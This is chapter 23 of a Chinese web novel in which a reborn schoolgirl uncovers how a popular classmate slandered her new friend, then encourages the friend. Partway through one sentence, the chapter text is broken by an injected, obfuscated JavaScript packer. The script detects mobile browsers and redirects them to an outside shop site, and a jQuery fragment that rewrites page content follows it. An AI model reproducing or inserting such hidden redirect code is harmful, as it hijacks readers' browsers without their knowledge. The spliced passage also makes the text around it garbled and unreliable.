23. 第 23 章
作品:《她怎么会喜欢我[重生]》 刘凯俐的嗓音很低,语气中流露出惭愧:“当时开班委会议,回顾上半学期的班级工作,挑了几个性质严重的事来复盘,期中影响最不好的就是有一周我们的操行分被扣了很多,那周流动红旗直接没了,听说郑老师在教师周会上还挨了批评。”
这件事顾宁越完全没有任何印象,也许扣操行分,丢红旗对学生时代来说非常严重,但对于带着前世记忆重生过来的顾宁越而言毫无记忆点。
可是顾宁越握在手中的苏晴眉的手却渗出冷汗,顾宁越明白这件事对她而言很沉重,不由得把她的手握得更紧,希望能以此给她多一点力量。
刘凯俐道:“那天崔屿茉说她知道扣分的真相,叫我们开会的不要说出去,也不要因此产生区别对待的想法,自己心里知道就好。我们问她到底怎么回事,她说有一天她拉肚子到学校的时候迟了,那周我们班值日,苏晴眉是值日生,侧门刚好只有她一个人在守,还有一个一班的男生也迟到了,崔屿茉以为苏晴眉不会记她的名字,毕竟是一个班的嘛,值日的时候通融一下自己班很正常,结果没想到纪检部通报批评的时候扣了我们班的分,没扣一班的。”
苏晴眉听她说着,连着叹了好几声气,一开始还很愤懑,听到后面像是磨平了情绪,平静地说:“不是我记的她名字,那个时候也不是只有我一个人。校门值日都是值日老师带两个不同年级班上的值日生,怎么可能只有我一个人守门。”
刘凯俐看向她:“是啊,我现在仔细想才发现有猫腻。以前我根本不了解你,只听崔屿茉说的那些话,就以为你是吃里扒外的叛徒。崔屿茉说你对一班那个男生有好感,所以不记男生的名字,你家庭条件差,经常表现出忌恨她的表情,还故意下绊子坑她。崔屿茉当着几个班委的面自我检讨,承认她的错误,说她犯了错,你记她名字让她受罚是应该的,但她不能原谅你记她的名字不记一班男生的名字,这是叛徒行为,是你损坏了我们班的集体荣誉。”
苏晴眉沉下眉眼,做了一个深呼吸,说:“刘凯俐,不管你信不信,我告诉你那天发生的事实。和我一起在侧校门值日的有龚老师和现在高三七班的一个学姐。崔屿茉的名字是学姐记的,扣的分比迟到扣分多,因为崔屿茉说请假了但是拿不出假条,还想拿校长的名头来压龚老师。一班的那个男生是有假条的,他去医院做了检查赶来学校,所以不算他迟到。我说的这些有龚老师和高三七班的学姐可以作证,我没有对不起五班,更没有对不起崔屿茉,我问心无愧。”
刘凯俐半信半疑:“苏晴眉,你今天帮我照顾我,我很感谢你,我不相信你这么友善的人会做出崔屿茉说的那种事。不过我不明白为什么崔屿茉要那样说,她对我一直都不错,乐于助人,也很大方。”
顾宁越满脸愤怒,开口:“因为崔屿茉把责任推到晴眉身上,害班里扣分的就不是她了,大家只会同情她,她还是那个受欢迎的人,而晴眉是后来的,在学校无依无靠,她料定班里没人会帮晴眉。崔屿茉如果真的受了天大的委屈,她为什么不在全班公开喊冤,而是只跟几个班委开小会的时候卖惨?她这就是心里有鬼,故意骗你们!你们几个居然相信她,还觉得是她善良,暗中保护苏晴眉的面子。我不能说是你们好骗,只能说你们是只相信自己愿意相信的。”
刘凯俐埋下脑袋,脸上的惭愧之情越来越深,小声说:“苏晴眉,对不起啊。既然你是被冤枉的,这半年来你怎么从来不把真相说出来?”
苏晴眉眼中闪过诧异:“我不知道你们班委开会说了什么,我不知道我被冤枉了,况且就算我知道,上学期的时候我告诉你真相,你会相信我吗?不会觉得我是在狡辩推卸责任吗?崔屿茉和我,你和大家更愿意相信谁?”
刘凯俐忙道:“现在我肯定信你。”
苏晴眉无奈得很,最后只能笑了笑:“谢谢。”
顾宁越听懂了,是崔屿茉利用个人势力和家庭背景建立起的话语权,在五班的小领导圈里造谣抹黑苏晴眉的形象,嘴上说不要区别对待,实际上就是在言语暗示要孤立苏晴眉。
虽然起先只有几个班委的心里被种下了“苏晴眉吃里扒外,阴险恶毒”的思想种子,但随着时间的增长和崔屿茉闺蜜团的推波助澜,他们会越来越戴着有色眼镜看待苏晴眉,忽视她的优点,无限放大她的缺点,甚至会把一些莫须有的污点安在她身上。
五班的班委能够影响部分同学的状态,比如组织活动的时候赞美谁,笑话谁;收作业小组批改的时候给谁通融,对谁严格;班内先进评优的时候,给谁提名,给谁投票……各种各样的细节像树根一样盘根错节地扎在学习生活里,悄无声息的影响着每一个人的利益和得失,有的人看得清,争强好胜,拉帮结派,有的人看不清或者不在乎,就无所谓地过活。
不可否认的是,五班班委的态度会引导一部分同学的态度,他们都一致排斥苏晴眉时,同桌传同桌,室友传室友,整个班级都在渐渐与之疏离。
桐溪实中是社会的缩影,残酷的生存法则如同一张大网,早就在其中隐秘的铺开了。
崔屿茉的表面形象经营的多好啊,美丽,聪明,富裕,大方,顾宁越上辈子像被下了迷魂药一样恨不得二十四小时围着她转,如果不是前世遭到了背刺,顾宁越也会和那些同学一样无条件信任崔屿茉,而不是同情一个山区来的“不合群”的新同学。
但是现在,不论崔屿茉做出多肮脏的事,顾宁越都不奇怪。
房间里的氛围很沉闷。
这时虚掩的门从外面被推开,刘凯俐的室友吃完午饭回来了,顾宁越便和苏晴眉离开。
中午她们在刘凯俐那吃的并不好,今天的菜不好吃,她俩也没什么胃口,但是她们下午都有比赛,不能饿肚子。
顾宁越到小卖部买了烤肠,牛肉干和李子园,跟苏晴眉在小卖部的外摆区慢慢吃。
她鼓励苏晴眉:“今天刘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995327|193676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凯俐知道了真相,这就是一个破口,以后班里会有越来越多的人看清崔屿茉的真面目,知道你是清白的。”
苏晴眉微笑着点头:“嗯,其实有你知道就够了。”
“光我一个不行,我要让大家都知道你有多好。”
“只要他们不再冤枉我就好了,我不是金子,不需要大家都喜欢。”
说起来,崔屿茉泼这个脏水是单纯为了甩锅,还是有更深的矛盾在里面呢?
干脆今天就一次性把问题剖析干净,把前因后果都弄清楚。
顾宁越一边吃烤肠,一边问:“晴眉,你刚转到五班是什么情况?和崔屿茉有来往吗?”
苏晴眉表情回忆:“有。我转过来,郑老师让班长和组织委员带我熟悉环境,崔屿茉就是组织委员嘛,她刚开始对我挺热情的,但我跟她聊不来,慢慢的她就不怎么跟我说话了。”
“聊不来?”
“对,我印象比较深的一次,我和她走在路上,她突然跟我说艾萌新剪的短发不好看,如果不减肥的话怎么打扮都像烤乳猪,我觉得她很不礼貌很伤人,劝她别这样议论人,就类似这样的对话。”
顾宁越算是知道艾萌“猪猪侠”的外号从哪来的了,肯定也和苏晴眉的“黑妹”一样,跟崔屿茉脱不了干系。
苏晴眉继续道:“她彻底不理我是上学期的一次周考,考试的时候她坐我旁边,问我一道选择题选什么,我没给她看,之后她就几乎不跟我说话了。”
顾宁越:“然后你就有了绰号,班里的同学也渐渐疏远你?”
苏晴眉怔住,恍然大悟:“还真是这样。”
顾宁越打开李子园的瓶盖,插好吸管给她:“现在你明白了吧,你很优秀,刘凯俐也说你很友善,你之前被叫绰号,被孤立,被欺负,是因为有坏人在抹黑你,同学都被她骗了,这与你本人无关,坏的是崔屿茉,你不用为她的恶意买单。我们只要做好自己,积极地做我们想做的,受到伤害时勇敢地反击,我们一定会过得越来越好,未来还有很多美好在等着我们。”
苏晴眉笑容灿烂,话音充满自信:“好,我会的。”
她喝了一口李子园,惊讶地拿起瓶子查看包装:“好甜,真好喝!”
顾宁越意识到她可能没喝过:“我再买两瓶。”
苏晴眉连忙摆手:“不用啦,这瓶就够了。”
顾宁越想了想,下午还有比赛,不好拿,吃了晚饭再来买也行,就说:“那晚点再买。”
苏晴眉含了一下吸管,抬起头,把滑落的耳发撩到耳朵后面,两只清澈的眸子望着她。
“刘凯俐因为我帮她冲药觉得我友善,那你为什么愿意相信我,帮助我呢,顾宁越?”
顾宁越的目光看进她的双眼,仿佛穿越了时光和宇宙,与一个温馨明亮的病房中的眼眸相重合。
为什么呢……
因为上一个轮回里,你给了我最温暖的光明。

